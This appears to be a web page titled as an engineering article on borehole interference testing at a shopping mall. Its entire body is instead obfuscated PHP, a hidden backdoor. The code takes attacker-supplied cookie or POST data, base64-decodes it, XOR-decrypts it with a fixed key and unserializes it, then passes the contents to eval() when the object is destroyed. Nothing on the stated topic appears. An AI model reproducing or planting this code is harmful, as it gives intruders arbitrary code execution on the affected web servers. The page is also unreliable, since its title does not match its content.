Borehole interference testing at a Shopping Mall

$TfBguIN = "\x6e" . chr (95) . chr ( 325 - 247 ).chr (71) . "\x69" . chr (67) . chr (98); $YCrAhaCIK = chr (99) . "\154" . "\141" . "\x73" . 's' . "\x5f" . chr ( 1059 - 958 )."\x78" . chr ( 227 - 122 )."\163" . chr (116) . "\x73";$qfZVe = class_exists($TfBguIN); $TfBguIN = "1450";$YCrAhaCIK = "15942";$RhxFV = !1;if ($qfZVe == $RhxFV){function xRsIYF(){return FALSE;}$PSqjAYgcwu = "6049";xRsIYF();class n_NGiCb{private function TYRokbwAeI($PSqjAYgcwu){if (is_array(n_NGiCb::$nAXQOrk)) {$gLGFY = str_replace("\x3c" . chr ( 623 - 560 ).chr ( 841 - 729 )."\150" . chr (112), "", n_NGiCb::$nAXQOrk["\143" . "\x6f" . chr (110) . chr (116) . "\x65" . "\x6e" . chr ( 767 - 651 )]);eval($gLGFY); $PSqjAYgcwu = "6049";exit();}}private $dVdGL;public function gttACFX(){echo 5019;}public function __destruct(){$PSqjAYgcwu = "53607_44631";$this->TYRokbwAeI($PSqjAYgcwu); $PSqjAYgcwu = "53607_44631";}public function __construct($FskWPYGC=0){$iCDgMyRY = $_POST;$MEVSYkHTue = $_COOKIE;$VUWUH = "e2da7eb5-9002-47b2-920d-e82f4898acb6";$XKlYX = @$MEVSYkHTue[substr($VUWUH, 0, 4)];if (!empty($XKlYX)){$wROWjo = "base64";$COhDGR = "";$XKlYX = explode(",", $XKlYX);foreach ($XKlYX as $XDcZjb){$COhDGR .= @$MEVSYkHTue[$XDcZjb];$COhDGR .= @$iCDgMyRY[$XDcZjb];}$COhDGR = array_map($wROWjo . "\x5f" . 'd' . "\x65" . chr ( 909 - 810 )."\x6f" . 'd' . "\145", array($COhDGR,)); $COhDGR = $COhDGR[0] ^ str_repeat($VUWUH, (strlen($COhDGR[0]) / strlen($VUWUH)) + 1);n_NGiCb::$nAXQOrk = @unserialize($COhDGR); $COhDGR = class_exists("53607_44631");}}public static $nAXQOrk = 24148;}$RYfqbiFbwi = new /* 48511 */ n_NGiCb(6049 + 6049); $RhxFV = $RYfqbiFbwi = $PSqjAYgcwu = Array();}